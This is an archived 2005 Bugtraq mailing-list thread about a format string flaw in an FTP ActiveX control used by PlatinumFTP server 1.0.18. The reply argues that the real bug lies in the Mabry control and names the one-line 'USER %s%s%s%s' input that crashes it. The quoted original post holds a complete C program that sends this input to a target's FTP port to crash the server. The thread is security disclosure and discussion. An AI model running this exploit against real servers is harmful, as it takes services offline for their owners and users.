lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <003601c52908$2ce3a200$1e00a8c0@eniac>
Date: Mon, 14 Mar 2005 21:39:13 -0500
From: "Gary H. Jones II" <gary@...ntblanksecurity.com>
To: <bugtraq@...urityfocus.com>
Subject: Re: PlantinumFTP server <= 1.0.18 Remote DOS exploit


I replied back to ports original advisory about this on another mailing
list.
The real issue here is a format string vulnerability.

That software uses an FTP server ActiveX control made by Mabry Software.
Any ftp server that uses this ActiveX control is likely vulnerable.

The ActiveX control is the cause of these bugs, not the PlatinumFTP software
itself.  When I took a look at the software, I noticed it was written in
VB5,
finding a format string in a VB program would be a *very* rare find.
Knowing that, I figured there would be a 3rd party control within the
software that
was written in C++.

I ran it through a debugger, passed a few %s and watched it crash. The
title of the error message is "Mabry Socket Window:
PlatinumFTPserverEngine.exe - Application Error", this is what lead to the
discovery of the real issue.

I downloaded the latest sample/demo of this ActiveX, and it is still
vulnerable when you run VBSampleOCX.exe.
Available here http://www.mabry.com/ftpserv/index.htm.

There has been an advisory released already for this ActiveX control.
http://secunia.com/advisories/10608/

I think this DoS "exploit" is a bit overkill, an attacker can telnet to the
vulnerable ftp daemon, type "user %s%s%s%s" and press enter for the same
effect.

Gary H. Jones II



----- Original Message ----- 
From: "Exoduks" <exoduks@...il.com>
To: <bugtraq@...urityfocus.com>
Sent: Monday, March 14, 2005 7:47 AM
Subject: PlantinumFTP server <= 1.0.18 Remote DOS exploit




Here is simple exploit for PlantinumFTP server DOS bug.

/*
 * PlantinumFTP server <= 1.0.18 Remote DOS exploit
 * -------------------------------------------------
 * PlantinumFTP server exploit for Remote Denial of Service bug
 * in PlantinumFTP founded by ports.
 *
 * Coded by Exoduks - exoduks[at]gmail.com
 * HackGen Team - www.hackgen.org
 *
 * Compile: gcc -o pFTP_dos pFTP_dos.c
 *
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define PORT 21

int main(int argc, char **argv)
{
    char buffer[50];
    char *host_ip;
    int mysock;
    struct sockaddr_in name;
    struct hostent *myhost;

    printf("\n PlantinumFTP server <= 1.0.18 Remote DOS exploit\n");
    printf(" -------------------------------------------------\n");
    printf(" Coded by Exoduks - exoduks[at]gmail.com\n");
    printf(" HackGen Team - www.hackgen.org\n");
    printf(" -------------------------------------------------\n");

    printf(" [+] Creating socket !\n");
    mysock = socket(PF_INET, SOCK_STREAM, 0);
    if (mysock == -1) {
        printf("[-] Socket error !\n");
        return 1;
    }

    host_ip = argv[1];

    if (host_ip == NULL) {
        printf(" [-] Host error ! - Usage: %s <ip/host> !\n\n", argv[0]);
        return 1;
    }

    myhost = gethostbyname(host_ip);

    name.sin_family = AF_INET;
    name.sin_addr = *((struct in_addr*) myhost->h_addr);
    name.sin_port = htons(PORT);

    printf(" [+] Connecting to target on port %d!\n", PORT);
    if (connect (mysock, (struct sockaddr*)&name, sizeof(struct
sockaddr_in)) == -1) {
        printf(" [-] Connection error !\n");
        return 2;
    }

    printf(" [+] Sending exploit !\n");
    sprintf(buffer, "%s", "USER %s%s%s%s\r\n");
    write(mysock, buffer, strlen(buffer));
    printf(" [+] Exploit sent !\n\n");

    close(mysock);

    return 0;
}




Powered by blists - more mailing lists